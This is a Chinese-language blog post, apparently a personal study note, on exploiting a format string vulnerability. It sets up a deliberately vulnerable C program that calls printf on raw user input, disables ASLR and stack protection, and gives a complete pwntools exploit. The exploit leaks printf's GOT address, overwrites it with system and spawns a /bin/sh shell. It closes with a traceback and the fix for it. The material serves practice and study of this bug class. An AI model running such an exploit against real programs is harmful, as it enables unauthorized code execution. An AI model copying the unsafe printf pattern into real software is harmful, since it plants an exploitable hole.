格式化字符串漏洞(1)

发布时间 2023-05-30 15:12:19作者: 叶际参差

格式化字符串漏洞

#include<stdio.h>
void main(){
    char str[1024];
    while(1){
        memset(str,'\0',1024);
        read(0,str,1024);
        printf(str);
        fflush(stdout);
    }
}
# echo 0 > /proc/sys/kernel/randomize_va_space 关闭ASLR

编译命令

gcc -fno-stack-protector -no-pie fmt2.c -o fmt2 -g

解题思路就是,修改printf函数在got表上的值,使其为system的真实地址,由于关闭了ASLR和PIE,这些地址可以调试得到。

环境是Ubuntu22。

exp

from pwn import *

p = process('./fmt2')
elf = ELF('./fmt2')
libc = elf.libc
offset = 6
context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(p,'break main')
printf_got = elf.got['printf']
#printf_got = 0x404019
print('printf got:',hex(printf_got))
#system = 0x7ffff7e17290  # 6 bytes,\x90\x72\xe1\xf7\xff\x7f

def exec_fmt(payload):
    p.sendline(payload)
    info = p.recv()
    print("payload: ", repr(payload))
    print("recv: ", repr(info))
    return info
   
auto = FmtStr(exec_fmt)
offset = auto.offset
print("offset:",offset)


payload=b'a'*4 + b'%7$s' + p64(printf_got)
p.send(payload)


printf_addr = u64(p.recv()[4:10].ljust(8,b'\x00'))
log.info("printf_addr => %s"%hex(printf_addr))
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.info("system_addr => %s" % hex(system_addr))


payload = fmtstr_payload(offset,{printf_got : system_addr},write_size='byte')
log.info("fmtstr_payload:{}".format(payload))

p.send(payload)
pause()
p.send('/bin/sh')
p.recv()

p.interactive()

原本是这样写的时候

payload = fmtstr_payload(offset,{printf_got : system_addr})

代码会报错:

  File "/mnt/hgfs/CTF/Pwn/learnPwn/fmt/fmt2.py", line 19, in <module>
    auto = FmtStr(exec_fmt)
  File "/usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 844, in __init__
    self.offset, self.padlen = self.find_offset()
  File "/usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 864, in find_offset
    leak = pack(leak)
  File "/usr/local/lib/python3.10/dist-packages/pwnlib/util/packing.py", line 149, in pack
    raise ValueError("pack(): number does not fit within word_size [%i, %r, %r]" % (0, number, limit))
ValueError: pack(): number does not fit within word_size [0, 140732163634592, 4294967296]

后来加上了write_size='byte'后就没问题了。